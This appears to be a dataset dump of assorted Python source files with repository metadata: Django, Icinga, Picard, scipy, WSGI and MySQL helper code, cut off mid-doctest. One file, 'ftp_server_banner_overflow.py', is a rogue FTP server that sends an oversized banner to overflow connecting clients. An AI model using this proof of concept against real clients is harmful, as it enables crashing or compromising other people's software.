code
stringlengths
2
1.05M
repo_name
stringlengths
5
104
path
stringlengths
4
251
language
stringclasses
1 value
license
stringclasses
15 values
size
int32
2
1.05M
#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "Modred.settings") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)
ShanghaitechGeekPie/LBlogger
Modred/manage.py
Python
gpl-2.0
249
import socket import sys def py_socket(domain, sock_type, protocol): print "hello socket" s = socket.socket(domain, sock_type, protocol); print s.fileno() print "bye socket" sys.stdout.flush() return s.fileno() #return -1
jevinskie/sneaker
pysneak_py.py
Python
gpl-2.0
253
# # Copyright 2001 - 2006 Ludek Smid [http://www.ospace.net/] # # This file is part of IGE - Outer Space. # # IGE - Outer Space is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # IGE - Outer Space is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with IGE - Outer Space; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # import sys import os # setup system path installDir = os.path.abspath(os.path.dirname(__file__)) sys.path.insert(0, os.path.join(installDir, "lib")) import atexit import getopt #configure gc #import gc #gc.set_debug(gc.DEBUG_STATS | gc.DEBUG_COLLECTABLE | gc.DEBUG_UNCOLLECTABLE | # gc.DEBUG_INSTANCES | gc.DEBUG_OBJECTS) # options # parse arguments options = ('reset', 'upgrade', 'devel', 'restore=', "config=", "workingdir=") opts, args = getopt.getopt(sys.argv[1:], '', options) optReset = 0 optUpgrade = 0 optDevel = 0 optRestore = 0 optConfig = "var/config.ini" optWorkingDir = None for opt, arg in opts: if opt == '--reset': optReset = 1 elif opt == '--upgrade': optUpgrade = 1 elif opt == '--devel': optDevel = 1 elif opt == '--restore': optRestore = arg elif opt == "--config": optConfig = os.path.abspath(arg) elif opt == "--workingdir": optWorkingDir = arg # change workding directory (if required) if optWorkingDir: os.chdir(optWorkingDir) # legacy logger from ige import log log.setMessageLog('var/logs/messages.log') log.setErrorLog('var/logs/errors.log') log.message("Working directory", os.getcwd()) # read configuration from ige.Config import Config log.message("Configuration file", optConfig) config = Config(optConfig) # record my pid pidFd = os.open("var/server.pid", os.O_CREAT | os.O_EXCL | os.O_WRONLY) os.write(pidFd, str(os.getpid())) # TODO: check if server.pid points to the running process game = None msgMngr = None clientMngr = None issueMngr = None # define and register exit function def cleanup(): # shut down game try: if game: log.message('Shutting down game...') game.shutdown() if msgMngr: log.message('Shutting down message manager...') msgMngr.shutdown() if clientMngr: log.message('Shutting down client manager...') clientMngr.shutdown() if issueMngr: log.message('Shutting down issue manager...') issueMngr.shutdown() except: log.exception("Shutdown of the server failed") log.message('Shutted down') log.message("Cleaning up...") # delete my pid os.close(pidFd) os.remove("var/server.pid") atexit.register(cleanup) # set ruleset from ige.ospace import Rules Rules.initRules(os.path.join(installDir, "res/rules/%s" % config.server.rules)) # startup game log.debug('Importing IGE modules...') import ige.RPCServer as server import ige from ige.ClientMngr import ClientMngr from ige.MsgMngr import MsgMngr from ige.IssueMngr import IssueMngr from ige.ospace.GameMngr import GameMngr # set runtime mode ige.setRuntimeMode(not optDevel) gameName = config.server.name if gameName is None: gameName = "UNDEFINED" # open database from ige.MetakitDatabase import MetakitDatabase, MetakitDatabaseString log.debug("Creating databases...") gameDB = MetakitDatabase("var/db_data", "game_%s" % gameName, cache = 15000) clientDB = MetakitDatabaseString("var/db_data", "accounts", cache = 100) msgDB = MetakitDatabaseString("var/db_data", "messages", cache = 1000) if optRestore: gameDB.restore("var/%s-game_Alpha.osbackup" % optRestore) clientDB.restore("var/%s-accounts.osbackup" % optRestore) # TODO: remove afer fix of the message database # the following code imports to the message database only valid entries # and forces mailbox scan incl = [1] incl.extend(gameDB[1].galaxies) incl.extend(gameDB[1].players) def include(k, l = incl): for i in l: if k.startswith("Alpha-%d-" % i) or (k == "Alpha-%d" % i): return True return False msgDB.restore("var/%s-messages.osbackup" % optRestore, include = include) # initialize game log.message('Initializing game \'%s\'...' % gameName) log.debug("Initializing issue manager") issueMngr = IssueMngr() log.debug("Initializing client manager") clientMngr = ClientMngr(clientDB) log.debug("Initializing message manager") msgMngr = MsgMngr(msgDB) log.debug("Initializing game manager") game = GameMngr(gameName, config, clientMngr, msgMngr, gameDB) if optReset: # reset game log.message('Resetting game \'%s\'...' % gameName) game.reset() else: # normal operations game.init() if optUpgrade: game.upgrade() msgMngr.upgrade() game.start() server.init(clientMngr) server.register(game) server.xmlrpcPublish("gamemngr", game) server.xmlrpcPublish('clientmngr', clientMngr) server.xmlrpcPublish('issuemngr', issueMngr) log.message('Initialized. Starting server...') try: import psyco psyco.full() log.message("Using psyco with full acceleration") except ImportError: log.message("NOT using psyco") server.start(config.server.port)
mozts2005/OuterSpace
server/run.py
Python
gpl-2.0
5,595
# -*- coding: utf-8 -*- # # Picard, the next-generation MusicBrainz tagger # # Copyright (C) 2007 Lukáš Lalinský # Copyright (C) 2008-2009, 2019-2020 Philipp Wolfer # Copyright (C) 2012-2013 Michael Wiencek # Copyright (C) 2013-2014, 2018-2019 Laurent Monin # Copyright (C) 2014 Sophist-UK # Copyright (C) 2016, 2018 Sambhav Kothari # Copyright (C) 2018 Wieland Hoffmann # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. from functools import partial import os from PyQt5 import ( QtCore, QtGui, QtWidgets, ) from picard import ( config, log, ) from picard.util import reconnect from picard.ui import PicardDialog from picard.ui.colors import interface_colors class LogViewDialog(PicardDialog): defaultsize = QtCore.QSize(570, 400) def __init__(self, title, parent=None): super().__init__(parent) self.setWindowFlags(QtCore.Qt.Window) self.setWindowTitle(title) self.doc = QtGui.QTextDocument() self.textCursor = QtGui.QTextCursor(self.doc) self.browser = QtWidgets.QTextBrowser() self.browser.setDocument(self.doc) self.vbox = QtWidgets.QVBoxLayout() self.setLayout(self.vbox) self.vbox.addWidget(self.browser) class LogViewCommon(LogViewDialog): def __init__(self, log_tail, *args, **kwargs): super().__init__(*args, **kwargs) self.displaying = False self.log_tail = log_tail self._init_doc() def _init_doc(self): self.prev = -1 self.doc.clear() self.textCursor.movePosition(QtGui.QTextCursor.Start) def closeEvent(self, event): event.ignore() self.hide() def hideEvent(self, event): reconnect(self.log_tail.updated, None) super().hideEvent(event) def showEvent(self, event): self.display() reconnect(self.log_tail.updated, self._updated) super().showEvent(event) def _updated(self): if self.displaying: return self.display() def display(self, clear=False): self.displaying = True if clear: self._init_doc() for logitem in self.log_tail.contents(self.prev): self._add_entry(logitem) self.prev = logitem.pos self.displaying = False def _add_entry(self, logitem): self.textCursor.movePosition(QtGui.QTextCursor.End) self.textCursor.insertText(logitem.message) self.textCursor.insertBlock() sb = self.browser.verticalScrollBar() sb.setValue(sb.maximum()) class Highlighter(QtGui.QSyntaxHighlighter): def __init__(self, string, parent=None): super().__init__(parent) self.fmt = QtGui.QTextCharFormat() self.fmt.setBackground(QtCore.Qt.lightGray) self.reg = QtCore.QRegExp() self.reg.setPatternSyntax(QtCore.QRegExp.Wildcard) self.reg.setCaseSensitivity(QtCore.Qt.CaseInsensitive) self.reg.setPattern(string) def highlightBlock(self, text): expression = self.reg index = expression.indexIn(text) while index >= 0: length = expression.matchedLength() self.setFormat(index, length, self.fmt) index = expression.indexIn(text, index + length) class VerbosityMenu(QtWidgets.QMenu): verbosity_changed = QtCore.pyqtSignal(int) def __init__(self, parent=None): super().__init__(parent=parent) self.action_group = QtWidgets.QActionGroup(self) self.actions = {} for level, feat in log.levels_features.items(): action = QtWidgets.QAction(_(feat.name), self) action.setCheckable(True) action.triggered.connect(partial(self.verbosity_changed.emit, level)) self.action_group.addAction(action) self.addAction(action) self.actions[level] = action def set_verbosity(self, level): self.actions[level].setChecked(True) class LogView(LogViewCommon): options = [ config.IntOption("setting", "log_verbosity", log.VERBOSITY_DEFAULT), ] def __init__(self, parent=None): super().__init__(log.main_tail, _("Log"), parent=parent) self.verbosity = log.get_effective_level() self._setup_formats() self.hl_text = '' self.hl = None self.hbox = QtWidgets.QHBoxLayout() self.vbox.addLayout(self.hbox) self.verbosity_menu_button = QtWidgets.QPushButton(_("Verbosity")) self.hbox.addWidget(self.verbosity_menu_button) self.verbosity_menu = VerbosityMenu() self.verbosity_menu.set_verbosity(self.verbosity) self.verbosity_menu.verbosity_changed.connect(self._verbosity_changed) self.verbosity_menu_button.setMenu(self.verbosity_menu) # highlight input self.highlight_text = QtWidgets.QLineEdit() self.highlight_text.setPlaceholderText(_("String to highlight")) self.highlight_text.textEdited.connect(self._highlight_text_edited) self.hbox.addWidget(self.highlight_text) # highlight button self.highlight_button = QtWidgets.QPushButton(_("Highlight")) self.hbox.addWidget(self.highlight_button) self.highlight_button.setDefault(True) self.highlight_button.setEnabled(False) self.highlight_button.clicked.connect(self._highlight_do) self.highlight_text.returnPressed.connect(self.highlight_button.click) # clear highlight button self.clear_highlight_button = QtWidgets.QPushButton(_("Clear Highlight")) self.hbox.addWidget(self.clear_highlight_button) self.clear_highlight_button.setEnabled(False) self.clear_highlight_button.clicked.connect(self._clear_highlight_do) # clear log self.clear_log_button = QtWidgets.QPushButton(_("Clear Log")) self.hbox.addWidget(self.clear_log_button) self.clear_log_button.clicked.connect(self._clear_log_do) # save as self.save_log_as_button = QtWidgets.QPushButton(_("Save As...")) self.hbox.addWidget(self.save_log_as_button) self.save_log_as_button.clicked.connect(self._save_log_as_do) def _clear_highlight_do(self): self.highlight_text.setText('') self.highlight_button.setEnabled(False) self._highlight_do() def _highlight_text_edited(self, text): if text and self.hl_text != text: self.highlight_button.setEnabled(True) else: self.highlight_button.setEnabled(False) if not text: self.clear_highlight_button.setEnabled(bool(self.hl)) def _highlight_do(self): new_hl_text = self.highlight_text.text() if new_hl_text != self.hl_text: self.hl_text = new_hl_text if self.hl is not None: self.hl.setDocument(None) self.hl = None if self.hl_text: self.hl = Highlighter(self.hl_text, parent=self.doc) self.clear_highlight_button.setEnabled(bool(self.hl)) def _setup_formats(self): interface_colors.load_from_config() self.formats = {} font = QtGui.QFont() font.setFamily("Monospace") for level, feat in log.levels_features.items(): text_fmt = QtGui.QTextCharFormat() text_fmt.setFont(font) text_fmt.setForeground(interface_colors.get_qcolor(feat.color_key)) self.formats[level] = text_fmt def _format(self, level): return self.formats[level] def _save_log_as_do(self): path, ok = QtWidgets.QFileDialog.getSaveFileName( self, caption=_("Save Log View to File"), options=QtWidgets.QFileDialog.DontConfirmOverwrite ) if ok and path: if os.path.isfile(path): reply = QtWidgets.QMessageBox.question( self, _("Save Log View to File"), _("File already exists, do you really want to save to this file?"), QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No ) if reply != QtWidgets.QMessageBox.Yes: return writer = QtGui.QTextDocumentWriter(path) writer.setFormat(b"plaintext") success = writer.write(self.doc) if not success: QtWidgets.QMessageBox.critical( self, _("Failed to save Log View to file"), _("Something prevented data to be written to '%s'") % writer.fileName() ) def show(self): self.highlight_text.setFocus(QtCore.Qt.OtherFocusReason) super().show() def _clear_log_do(self): reply = QtWidgets.QMessageBox.question( self, _("Clear Log"), _("Are you sure you want to clear the log?"), QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No ) if reply != QtWidgets.QMessageBox.Yes: return self.log_tail.clear() self.display(clear=True) def is_shown(self, logitem): return logitem.level >= self.verbosity def _add_entry(self, logitem): if not self.is_shown(logitem): return fmt = self.textCursor.blockCharFormat() self.textCursor.setBlockCharFormat(self._format(logitem.level)) super()._add_entry(logitem) self.textCursor.setBlockCharFormat(fmt) def _set_verbosity(self, level): self.verbosity = level self.verbosity_menu.set_verbosity(self.verbosity) def _verbosity_changed(self, level): if level != self.verbosity: config.setting['log_verbosity'] = level QtCore.QObject.tagger.set_log_level(level) self.verbosity = level self.display(clear=True) class HistoryView(LogViewCommon): def __init__(self, parent=None): super().__init__(log.history_tail, _("Activity History"), parent=parent)
Sophist-UK/Sophist_picard
picard/ui/logview.py
Python
gpl-2.0
10,720
limit = int(input("Number until multiples of 3 and 5 are counted? ")) summe = 0 for i in range(limit): if i % 3 == 0: summe = summe + i if i % 5 == 0: summe = summe + i if i % 15 == 0: summe = summe - i print(summe)
Bennson/Projects
Project Euler/001 - Multiples of 3 and 5/Multiples_of_3_and5.py
Python
gpl-2.0
270
import sys sys.path.append('../ccmsuite') import ccm ccm.run('accuracy_v', 5, N=[10,20,50,100,200,500,1000,2000], states=['b', 'bv', 'bp', 'bvp'])
tcstewar/spinnbot
accuracy_v_exp.py
Python
gpl-2.0
146
# messagedialog1.py # Demonstrate MessageDialog and showdialog. import sys sys.path.append("../..") from wax import * class MainFrame(Frame): def Body(self): self.AddComponent(Button(self, "one", event=self.OnClick)) self.AddComponent(Button(self, "two", event=self.OnClick2)) self.AddComponent(Button(self, "three", event=self.OnClick3)) self.Pack() def OnClick(self, event=None): dlg = MessageDialog(self, title="Holy cow", text="You wanna dance?", ok=0, yes_no=1) print dlg.ShowModal() dlg.Destroy() def OnClick2(self, event=None): print showdialog(MessageDialog, self, title="Holy smoke", text="Did that hurt?", ok=0, yes_no=1) def OnClick3(self, event=None): print showdialog(MessageDialog, self, text="Resistance is futile.") app = Application(MainFrame) app.MainLoop()
MSMBA/msmba-workflow
msmba-workflow/srclib/wax/examples/messagedialog1.py
Python
gpl-2.0
897
print "haha" # # And this is an edit # #
SL775/poreden-opit
file_name.py
Python
gpl-2.0
45
from scipy.stats import t import matplotlib.pyplot as plt fig, ax = plt.subplots(1, 1) # Calculate a few first moments: df = 2.74 mean, var, skew, kurt = t.stats(df, moments='mvsk') # Display the probability density function (``pdf``): x = np.linspace(t.ppf(0.01, df), t.ppf(0.99, df), 100) ax.plot(x, t.pdf(x, df), 'r-', lw=5, alpha=0.6, label='t pdf') # Alternatively, the distribution object can be called (as a function) # to fix the shape, location and scale parameters. This returns a "frozen" # RV object holding the given parameters fixed. # Freeze the distribution and display the frozen ``pdf``: rv = t(df) ax.plot(x, rv.pdf(x), 'k-', lw=2, label='frozen pdf') # Check accuracy of ``cdf`` and ``ppf``: vals = t.ppf([0.001, 0.5, 0.999], df) np.allclose([0.001, 0.5, 0.999], t.cdf(vals, df)) # True # Generate random numbers: r = t.rvs(df, size=1000) # And compare the histogram: ax.hist(r, normed=True, histtype='stepfilled', alpha=0.2) ax.legend(loc='best', frameon=False) plt.show()
platinhom/ManualHom
Coding/Python/scipy-html-0.16.1/generated/scipy-stats-t-1.py
Python
gpl-2.0
1,030
# Installation and configuration of a Grid UI on Mac OS X # # Copyright (C) 2014 Manuel Giffels <giffels@gmail.com> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. from optparse import OptionParser import re import sys import tarfile import urllib2 def cmd(cmd): try: retcode = subprocess.call(cmd, shell=True) except OSError as error: print >> sys.stderr, "An error has occurred:", error else: if retcode < 0: print >> sys.stderr, "The subprocess was terminated by SIGNAL %s" % -retcode return retcode def create_url_object(url): return urllib2.urlopen(url) def get_ca_cert_tarball(): url_object = create_url_object("http://software.grid.iu.edu/pacman/cadist/ca-certs-version") tarball_pattern = r"^tarball=(?P<url>\S+).*" tarball_regex = re.compile(tarball_pattern) for line in url_object: match_obj = tarball_regex.match(line) if match_obj: return match_obj.groupdict()['url'] return None def get_etc_path(): usage = "usage: %prog [options]" parser = OptionParser(usage=usage) parser.add_option("-e", "--etc-path", dest="etc_path", help="etc path on your system", metavar="ETCPATH") (options, args) = parser.parse_args() if not options.etc_path: parser.print_usage() parser.error("options --etc-path is mandatory") return options.etc_path def unpack_tarball(url, path, mode='r|gz'): url_object = create_url_object(url) with tarfile.open(fileobj=url_object, mode=mode) as f: f.extractall(path=path)
giffels/OSXGridUI
src/python/osxgridui/tools.py
Python
gpl-2.0
2,299
import Gears as gears from .. import * from .SingleShape import * class Image(SingleShape) : def boot( self, *, duration : 'Stimulus time in frames (unless superseded by duration_s).' = 1, duration_s : 'Stimulus time in seconds (takes precendece over duration given in frames).' = 0, name : 'Stimulus name to display in sequence overview plot.' = 'Image', imagePath : 'Image file name with path.' = None, startPosition : 'Initial position as an x,y pair [(um,um)].' = (0, 0), velocity : 'Motion velocity vector as an x,y pair [(um/s,um/s)].' = (0, 0), temporalFilter : 'Component for temporal filtering. (Temporal.*)' = Temporal.Nop(), spatialFilter : 'Spatial filter component. (Spatial.*)' = Spatial.Nop() ): super().boot(name=name, duration=duration, duration_s=duration_s, pattern = Pif.Image( imagePath = imagePath ), patternMotion = Motion.Linear( startPosition = startPosition, velocity = velocity, ), warp = Warp.Repeat(), temporalFilter = temporalFilter, spatialFilter = spatialFilter, )
szecsi/Gears
GearsPy/Project/Components/Stimulus/Image.py
Python
gpl-2.0
1,692
# coding: utf-8 # Module: wsgi_server # Created on: 01.07.2015 # Author: Roman Miroshnychenko aka Roman V.M. (romanvm@yandex.ua) # License: GPL v.3 https://www.gnu.org/copyleft/gpl.html """ Custom WSGI Server and RequestHandler """ from wsgiref.simple_server import WSGIServer, WSGIRequestHandler, make_server from SocketServer import ThreadingMixIn class SilentWSGIRequestHandler(WSGIRequestHandler): """Custom WSGI Request Handler with logging disabled""" protocol_version = 'HTTP/1.1' def log_message(self, *args, **kwargs): """Disable log messages""" pass class ThreadedWSGIServer(ThreadingMixIn, WSGIServer): """Multi-threaded WSGI server""" allow_reuse_address = True daemon_threads = True def create_server(app, host='', port=8668): """ Create a new WSGI server listening on 'host' and 'port' for WSGI app """ return make_server(host, port, app, server_class=ThreadedWSGIServer, handler_class=SilentWSGIRequestHandler)
kreatorkodi/repository.torrentbr
plugin.video.yatp/libs/server/wsgi_server.py
Python
gpl-2.0
1,036
from socket import * s = socket(AF_INET, SOCK_STREAM ) s.bind(("0.0.0.0",21)) s.listen(1) print "[+] Listening on [FTP] 21" c, addr = s.accept() print "[+] Connecting accepted from: %s" % (addr[0]) payload = "\x41"*1500 c.send("220 "+payload+"r\n") c.recv(1024) c.close() print "[+] Client exploited !! quitting" s.close()
cduram/pentest_tools
Python/ftp_server_banner_overflow.py
Python
gpl-2.0
326
#! /usr/bin/env python ''' icinga_notify.py Matt Jones caffeinatedengineering@gmail.com Created 02.26.14 Last Update 04.09.14n Notes: Usage: ToDo: ''' import os import argparse import sys import smtplib import socket from email.MIMEMultipart import MIMEMultipart from email.MIMEText import MIMEText from email.MIMEImage import MIMEImage import jinja2 HostName = socket.gethostname() HostName = HostName.split('.') HostName = HostName[0] IcingaServer = HostName if 'test' in IcingaServer: Header = 'IcingaTest: ' elif 'qa' in IcingaServer: Header = 'QA: ' elif 'prod' in IcingaServer: Header = 'Prod: ' else: Header = 'Icinga:' reply_to_address = '' def create_msg(template_vars, alert, _To): MailSender = 'Icinga Monitoring <user@' + HostName +'.example.com>' msg = MIMEMultipart() msg['From'] = MailSender msg['To'] = _To msg.add_header('reply-to', reply_to_address) templateLoader = jinja2.FileSystemLoader( searchpath="/" ) templateEnv = jinja2.Environment( loader=templateLoader ) if alert == "service": msg['Subject'] = Header + g_NotificationType + g_ServiceName + " on " + g_HostName + " is " + g_ServiceState template_file = "/full/path/to/templates/service_email.jinja" elif alert == "host": msg['Subject'] = Header + g_NotificationType + ' Host ' + g_HostName + ' is ' + g_HostState template_file = "/full/path/to//templates/host_email.jinja" template = templateEnv.get_template( template_file ) output_text = template.render( template_vars ) body = MIMEText(output_text, 'HTML') msg.attach(body) send_msg(msg, MailSender, _To) def send_msg(msg, MailSender, _To): s = smtplib.SMTP('localhost') s.sendmail(MailSender, _To, msg.as_string()) s.quit() def main(): global g_NotificationType global g_ServiceName global g_ServiceState global g_HostName global g_HostState parser = argparse.ArgumentParser(description='Icinga notification email') parser.add_argument('notification_type', help='The type (critical, warning, good, unknown)') parser.add_argument('host_name', help='The name of the host alerting') parser.add_argument('--host_state', help='The host state') parser.add_argument('host_group', help='The host groups') parser.add_argument('ip_address', help='The IP address of the host alerting') parser.add_argument('event_time', help='The time of the service check') parser.add_argument('escalated', help='Is this an escalated notification') parser.add_argument('to', help='This is who will receive the notification') parser.add_argument('contact_group', help='This is the group receiving the notification') parser.add_argument('--host_output', help='the short host output') parser.add_argument('--host_data', help='the long host output') parser.add_argument('--host_duration', help='The length of time a host has been in this state') parser.add_argument('--service_name', help='The name of the service alerting') parser.add_argument('--service_group', help='The service groups') parser.add_argument('--service_data', help='the long service output') parser.add_argument('--service_state', help='The state (critical, warning, good, unknown)') parser.add_argument('--service_output', help='The short service output') parser.add_argument('--service_duration', help='The length of time a service has been in this state') parser.add_argument('--notification_comment', help='The comment associated with the host ack') parser.add_argument('--notification_author', help='The author of the host ack') parser.add_argument('--business_hours_ins', help='instructions for business hours') parser.add_argument('--after_hours_ins', help='instructions for after hours') args = vars(parser.parse_args()) if args['notification_type'] == 'PROBLEM': g_NotificationType = 'Alert' elif args['notification_type'] == 'RECOVERY': g_NotificationType = 'Clear' else: g_NotificationType = args['notification_type'] g_ServiceName = args['service_name'] _ServiceDuration = args['service_duration'] _HostDuration = args['host_duration'] _ServiceGroup = args['service_group'] g_ServiceState = args['service_state'] _ServiceOutput = args['service_output'] if args['service_data']: _ServiceData = args['service_data'] else: _ServiceData = 'None' g_HostName = args['host_name'] _To = args['to'] _ContactGroup = args['contact_group'] g_HostState = args['host_state'] _HostOutput = args['host_output'] if args['host_data']: _HostData = args['host_data'] else: _HostData = 'None' _HostGroup = args['host_group'] _IPAddress = args['ip_address'] _EventTime = args['event_time'] if Header != 'Prod: ': if args['escalated'] == '0': _Escalated = 'This message is NON-ACTIONABLE and has not been seen by the GOC' elif args['escalated'] == '1': _Escalated = 'This is ACTIONABLE and the app owner has been aware for 24 hours' else: _Escalated = 'This is an ACTIONABLE alert' if args['notification_comment']: _NotificationComment = args['notification_comment'] _NotificationAuthor = args['notification_author'] else: _NotificationComment = 'None' _NotificationAuthor = 'None' if args['business_hours_ins']: _BusinessHoursIns = args['business_hours_ins'] else: _BusinessHoursIns = 'None' if args['after_hours_ins']: _AfterHoursIns = args['after_hours_ins'] else: _AfterHoursIns = 'None' if not g_ServiceName: alert = "host" template_vars = { "NotificationType" : g_NotificationType, "HostName" : g_HostName, "HostState" : g_HostState, "HostOutput" : _HostOutput, "HostData" : _HostData, "HostDuration" : _HostDuration, "HostGroup" : _HostGroup, "IPAddress" : _IPAddress, "EventTime" : _EventTime, "IcingaServer" : IcingaServer, "NotificationComment" : _NotificationComment, "NotificationAuthor" : _NotificationAuthor, "AfterHoursIns" : _AfterHoursIns, "BusinessHoursIns": _BusinessHoursIns, "IcingaEnv": Header, "ContactGroup": _ContactGroup, "Escalated" : _Escalated } else: alert = "service" template_vars = { "NotificationType" : g_NotificationType, "ServiceName" : g_ServiceName, "ServiceGroup" : _ServiceGroup, "ServiceState" : g_ServiceState, "ServiceOutput" : _ServiceOutput, "ServiceData" : _ServiceData, "ServiceDuration" : _ServiceDuration, "HostName" : g_HostName, "AfterHoursIns" : _AfterHoursIns, "BusinessHoursIns": _BusinessHoursIns, "HostGroup" : _HostGroup, "IPAddress" : _IPAddress, "EventTime" : _EventTime, "ContactGroup": _ContactGroup, "IcingaServer" : IcingaServer, "NotificationComment" : _NotificationComment, "NotificationAuthor" : _NotificationAuthor, "IcingaEnv": Header, "Escalated" : _Escalated } create_msg(template_vars, alert, _To) if __name__ == '__main__': main()
yieldbot/dhoulmagus
bin/icinga_notify.py
Python
gpl-2.0
7,536
#!/usr/bin/env python # -*- coding: utf-8 -*- __author__ = 'zhangwenwen' import time, uuid, functools, threading, logging #Dict object: class Dict(dict): def __init__(self, names=(), values=(), **kw): super(Dict, self).__init__(**kw) for k, v in zip(names, values): self[k] = v def __getattr__(self, key): try: return self[key] except KeyError: raise AttributeError(r"'Dict' object has no attribute '%s'" % key) def __setattr__(self, key, value): self[key] = value def next_id(t=None): if t is None: t = time.time() return '%015d%s000' % (int(t * 1000), uuid.uuid4().hex) def _profiling(start, sql=''): t = time.time() - start if t > 0.1: logging.warning('[PROFILING] [DB] %s: %s' % (t, sql)) else: logging.info('[PROFILING] [DB] %s: %s' % (t, sql)) class DBError(Exception): pass class MultiColumnsError(DBError): pass class _LazyConnection(object): def __init__(self): self.connection = None def cursor(self): if self.connection is None: connection = engine.connect() logging.info('open connection <%s>...' % hex(id(connection))) self.connection = connection return self.connection.cursor() def commit(self): self.connection.commit() def rollback(self): self.connection.rollback() def cleanup(self): if self.connection: connection = self.connection self.connection = None logging.info('close connection <%s>...' % hex(id(connection))) connection.close() class _DbCtx(threading.local): def __init__(self): self.connection = None self.transactions = 0 def is_init(self): return not self.connection is None def init(self): logging.info('open lazy connection...') self.connection = _LazyConnection() self.transactions = 0 def cleanup(self): self.connection.cleanup() self.connection = None def cursor(self): return self.connection.cursor() _db_ctx = _DbCtx() engine = None class _Engine(object): def __init__(self, connect): self._connect = connect def connect(self): return self._connect() def create_engine(user, password, database, host='127.0.0.1', port=3306, **kw): import mysql.connector global engine if engine is not None: raise DBError('Engine is already initialized.') params = dict(user=user, password=password, database=database, host=host, port=port) defaults = dict(use_unicode=True, charset='utf8', collation='utf8_general_ci', autocommit=False) for k, v in defaults.iteritems(): params[k] = kw.pop(k, v) params.update(kw) params['buffered'] = True engine = _Engine(lambda: mysql.connector.connect(**params)) logging.info('Init mysql engine <%s> ok.' % hex(id(engine))) class _ConnectionCtx(object): def __enter__(self): global _db_ctx self.should_cleanup = False if not _db_ctx.is_init(): _db_ctx.init() self.should_cleanup = True return self def __exit__(self, exc_type, exc_val, exc_tb): global _db_ctx if self.should_cleanup: _db_ctx.cleanup() def connection(): return _ConnectionCtx() def with_connection(func): @functools.wraps(func) def _warpper(*args, **kw): with _ConnectionCtx(): return func(*args, **kw) return _warpper class _TransactionCtx(object): def __enter__(self): global _db_ctx self.should_close_conn = False if not _db_ctx.is_init(): _db_ctx.init() self.should_close_conn = True _db_ctx.transactions = _db_ctx.transactions + 1 logging.info('begin transaction...' if _db_ctx.transactions==1 else 'join current transaction...') return self def __exit__(self, exc_type, exc_val, exc_tb): global _db_ctx _db_ctx.transactions = _db_ctx.transactions - 1 try: if _db_ctx.transactions == 0: if exc_type is None: self.commit() else: self.rollback() finally: if self.should_close_conn: _db_ctx.cleanup() def commit(self): global _db_ctx logging.info('commit transaction...') try: _db_ctx.connection.commit() logging.info('commit ok.') except: logging.warning('commit failed. try rollback...') _db_ctx.connection.rollback() logging.warning('rollback ok.') def transaction(): return _TransactionCtx() def with_transaction(func): @functools.wraps(func) def _wapper(*args, **kw): _start = time.time() with _TransactionCtx(): return func(*args, **kw) _profiling(_start) return _wapper def _select(sql, first, *args): global _db_ctx cursor = None sql = sql.replace('?', '%s') logging.info('SQL: %s, ARGS: %s' % (sql, args)) try: cursor = _db_ctx.connection.cursor() cursor.execute(sql, args) if cursor.description: names = [x[0] for x in cursor.description] if first: values = cursor.fetchone() if not values: return None return Dict(names, values) finally: if cursor: cursor.close() @with_connection def select_one(sql, *args): ''' Execute select SQL and expected one result. If no result found, return None. If multiple results found, the first one returned. >>> u1 = dict(id=100, name='Alice', email='alice@test.org', passwd='ABC-12345', last_modified=time.time()) >>> u2 = dict(id=101, name='Sarah', email='sarah@test.org', passwd='ABC-12345', last_modified=time.time()) >>> insert('user', **u1) 1 >>> insert('user', **u2) 1 >>> u = select_one('select * from user where id=?', 100) >>> u.name u'Alice' >>> select_one('select * from user where email=?', 'abc@email.com') >>> u2 = select_one('select * from user where passwd=? order by email', 'ABC-12345') >>> u2.name u'Alice' ''' return _select(sql, True, *args) @with_connection def select_int(sql, *args): ''' Execute select SQL and expected one int and only one int result. >>> n = update('delete from user') >>> u1 = dict(id=96900, name='Ada', email='ada@test.org', passwd='A-12345', last_modified=time.time()) >>> u2 = dict(id=96901, name='Adam', email='adam@test.org', passwd='A-12345', last_modified=time.time()) >>> insert('user', **u1) 1 >>> insert('user', **u2) 1 >>> select_int('select count(*) from user') 2 >>> select_int('select count(*) from user where email=?', 'ada@test.org') 1 >>> select_int('select count(*) from user where email=?', 'notexist@test.org') 0 >>> select_int('select id from user where email=?', 'ada@test.org') 96900 >>> select_int('select id, name from user where email=?', 'ada@test.org') Traceback (most recent call last): ... MultiColumnsError: Expect only one column. ''' d = _select(sql, True, *args) if len(d) != 1: raise MultiColumnsError('Expect only one column.') return d.values()[0] @with_connection def select(sql, *args): ''' Execute select SQL and return list or empty list if no result. >>> u1 = dict(id=200, name='Wall.E', email='wall.e@test.org', passwd='back-to-earth', last_modified=time.time()) >>> u2 = dict(id=201, name='Eva', email='eva@test.org', passwd='back-to-earth', last_modified=time.time()) >>> insert('user', **u1) 1 >>> insert('user', **u2) 1 >>> L = select('select * from user where id=?', 900900900) >>> L [] >>> L = select('select * from user where id=?', 200) >>> L[0].email u'wall.e@test.org' >>> L = select('select * from user where 